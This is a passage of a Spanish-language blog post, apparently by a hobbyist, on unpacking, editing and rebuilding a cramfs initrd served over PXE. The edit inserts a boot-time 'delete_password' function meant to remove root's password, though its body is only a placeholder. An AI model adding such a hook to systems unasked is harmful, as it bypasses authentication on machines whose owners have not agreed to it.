normal está comprimido al máximo con <span style="font-style: italic;">gzip,</span> por lo tanto lo primero que hay que hacer es descomprimirlo:<br /></div><br /><span style="font-style: italic;">gzip -dc initrd.204 > initrd.204.img</span><br /><br /><div style="text-align: justify;">Con eso tendremos nuetro initrd descomprimido en el fichero <span style="font-style: italic;">initrd.204.img.</span> Ver su contenido es muy sencillo, simplemente lo montamos con la opción <span style="font-style: italic;">loop:</span><br /></div><br /><span style="font-style: italic;">mount initrd.204.img /mnt -o loop</span><br /><br /><div style="text-align: justify;">Con eso podremos ver en <span style="font-style: italic;">/mnt</span> el contenido de nuestro fichero, sin embargo tenemos un problema, no podemos modificarlo, no dirá que es un sistema de ficheros de solo lectura, y razón lleva, el initrd tiene un sistema de ficheros cramfs, y este sistema es de solo lectura. Entonces que hacemos? pues es sencillo copiar todo el contenido a otra carpeta, modificarlo a nuestro gusto y después empaquetarlo todo y crear nuestro propio initrd. Este procedimiento (el de copia) primero pensé en hacerlo con cp, el comando para copiar archivos, sin embargo se me complico porque no copiaba los enlaces simbólicos, por lo tanto yo obtenía un resultado diferente al original y que seguramente no funcionaría bien después, así que descarté esta opción, es posible que hubiera alguna opción de cp que lo solucionara, pero a mi se me ocurrió otra cosa, usar <span style="font-style: italic;">rsync,</span> si un paquete que te crea una copia literal del original, vamos que "sincroniza" los directorios origen y destino, esta era la mejor solución, el comando que ejecuté fue este:<br /></div><br /><span style="font-style: italic;">rsync -av /mnt /media/almacen/pxe/initrd/</span><br /><br /><div style="text-align: justify;">Y se copió todo. Hecho esto me fui al directorio que contiene los script de inicio (<span style="font-style: italic;">/etc/init.d</span>) y añadí mi script en el lugar adecuado. A ver os cuento, hay dos ficheros, <span style="font-style: italic;">functions</span> y <span style="font-style: italic;">rcS,</span> el primero contiene las funciones propiamente dichas, yo añadí la mía al final:<br /></div><br /><span style="font-style: italic;"># delete root's password</span><br /><span style="font-style: italic;">delete_password() {</span><br /><span style="font-style: italic;">aqui va mi script</span><br /><span style="font-style: italic;">}</span><br /><br /><div style="text-align: justify;">Y el fichero <span style="font-style: italic;">rcS</span> es el que llama las funciones, simplemente es una lista con las funciones, yo coloqué la mía justo antes de la que paraba el arranque (la que ejecutaba un <span style="font-style: italic;">rsync,</span> que al no poderse hacer se paraba todo):<br /></div><br /><span style="font-style: italic;">[...]</span><br /><span style="font-style: italic;">if [ ! -z $FLAMETHROWER_DIRECTORY_PORTBASE ]; then</span><br /><span style="font-style: italic;"> get_flamethrower_directory</span><br /><span style="font-style: italic;">fi</span><br /><br /><span style="font-style: italic;">delete_password</span><br /><br /><span style="font-style: italic;">get_boel_binaries_tarball</span><br /><span style="font-style: italic;">beep</span><br /><span style="font-style: italic;">[...]</span><br /><br /><div style="text-align: justify;">Hecho esto guardo los cambios y ahora me tocaba averiguar como crear el initrd propiamente dicho, porque yo ahora mismo lo que tengo es un árbol de directorios con una serie de ficheros... nada que ver con un initrd que es un sólo fichero cramfs. Lo primero que se me ocurrió fue usar <span style="font-style: italic;">mkinitrd,</span> comando que se usa para eso, para crear ficheros initrd, lo ejecuté:<br /></div><br /><span style="font-style: italic;">mkinitrd -r initrd/ -o initrd.204</span><br /><br /><div style="text-align: justify;">El <span style="font-style: italic;">-r</span> indica el directorio que tiene que usar y el <span style="font-style: italic;">-o</span> el fichero de salida. Aparentemente todo bien, pero ya me doy cuenta de que algo ha ido mal cuando que el fichero de salida pesa mas de 5 MB!!! y el del cga era de unos 500k!! diez veces menos! pensé que comprimiendo a lo mejor, pero me parecía excesivo que se fuera a reducir tanto:<br /></div><br /><span style="font-style: italic;">gzip -9 initrd.204</span><br /><br /><div style="text-align: justify;">Seguía pesando 5MB! bueno pues entonces lo monté para ver que tenía que lo había hecho crecer 10 veces, porque yo solo le añadí tres o cuatro líneas en un script, no era lógico ese aumento de tamaño. Lo monté y me encontré con algo que no esperaba para nada, muchas cosas repetidas: <span style="font-style: italic;">bin/, bin2/, dev/, dev2/</span>; scripts que antes no había: <span style="font-style: italic;">linuxrc, linuxrc.conf, script</span>. En fin que no se parecía en nada al oringal, y mucho menos a lo que yo tenía en mi directorio <span style="font-style: italic;">/media/almacen/pxe/initrd/.</span><br /></div><br /><div style="text-align: justify;">Que hago ahora? pues caballeros, lo que se me ocurrió fue hacer uso de 2 libertades que me otorga el software libre: acceso al código fuente, y modificación del mismo. Realmente puede que exista alguna opción que simplemente creara el sistema de ficheros cramfs sin modificar nada, pero yo no la encontré, así que mediante apt (apt-cache show initrd-tools) averigüé donde esta el paquete initrd-tools, que es el que contiene la utilidad mkinitrd, veo la ruta del fichero en el repositorio, y con firefox me voy a la url del repositorio, a la <a href="http://archive.ubuntu.com/ubuntu/pool/universe/i/initrd-tools/">ruta correspondiente</a> y me bajo el <a href="http://archive.ubuntu.com/ubuntu/pool/universe/i/initrd-tools/initrd-tools_0.1.84.2ubuntu1.tar.gz">código fuente del paquete</a>. Descomprimo el paquete (es un tar.gz), y veo el paquete <span style="font-style: italic;">mkinitrd</span>, ejecuto <span style="font-style: italic;">file mkinitrd</span> para ver que es eso y es un script, así que nada, <span style="font-style: italic;">less mkinitrd</span> y a leer, veo que para crear el sistema de ficheros cramfs usa el paquete <span style="font-style: italic;">mkcramfs,</span> el script ademas comprueba algunas cosas, añade ficheros... el caso es que yo ya tenía la solución ante mis ojos, simplemente tengo que usar el paquete <span style="font-style: italic;">mkcramfs</span> para que cree el sistema de ficheros y ya está, sin que altere nada. Ejecuto:<br /></div><br /><span style="font-style: italic;">mkcramfs initrd/ initrd.204</span><br /><br /><div style="text-align: justify;">Con lo que indico que tome los ficheros del directorio <span style="font-style: italic;">initrd/</span> y cree el archivo <span style="font-style: italic;">initrd.204.</span> Hecho esto ya estaba todo solucionado, se lo mando a la fonera y puedo empezar a hacer pruebas. Cada vez que quiero cambiar algo simplemente lo modifico en <span style="font-style: italic;">initrd/,</span> creo de nuevo el initrd con <span style="font-style: italic;">mkcramfs</span> y lo subo a la fonera.<br /><br />Pues lo único que me queda ahora es conseguir que el script funcione bien, seguiré investigando y trabajando con el, creo que acabaré pronto, lo que pasa es que estos dos últimos días no he hecho casi nada porque tenia en mldonkey descargando a toda velocidad y no quería pararlo, y hacer muchas pruebas en el portátil tampoco me gusta porque mientras no puedo hacer nada, si las hago en el server mientras arranca, reinicia, vuelve arrancar, vuelve a fallar... puedo seguir con el portátil haciendo cosas.<br /></div><br /><div style="text-align: justify;">Y nada mas, solo decir que gracias a los que hayáis llegado hasta aquí, porque este post me ha salido bastante largo :P<br /><br />PD: Intentaré publicar posts mas cortos con mas frecuencia, en vez de post tan largos cada cierto tiempo, porque la verdad este post es muy largo y creo que su lectura puede hacerse pesada.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com0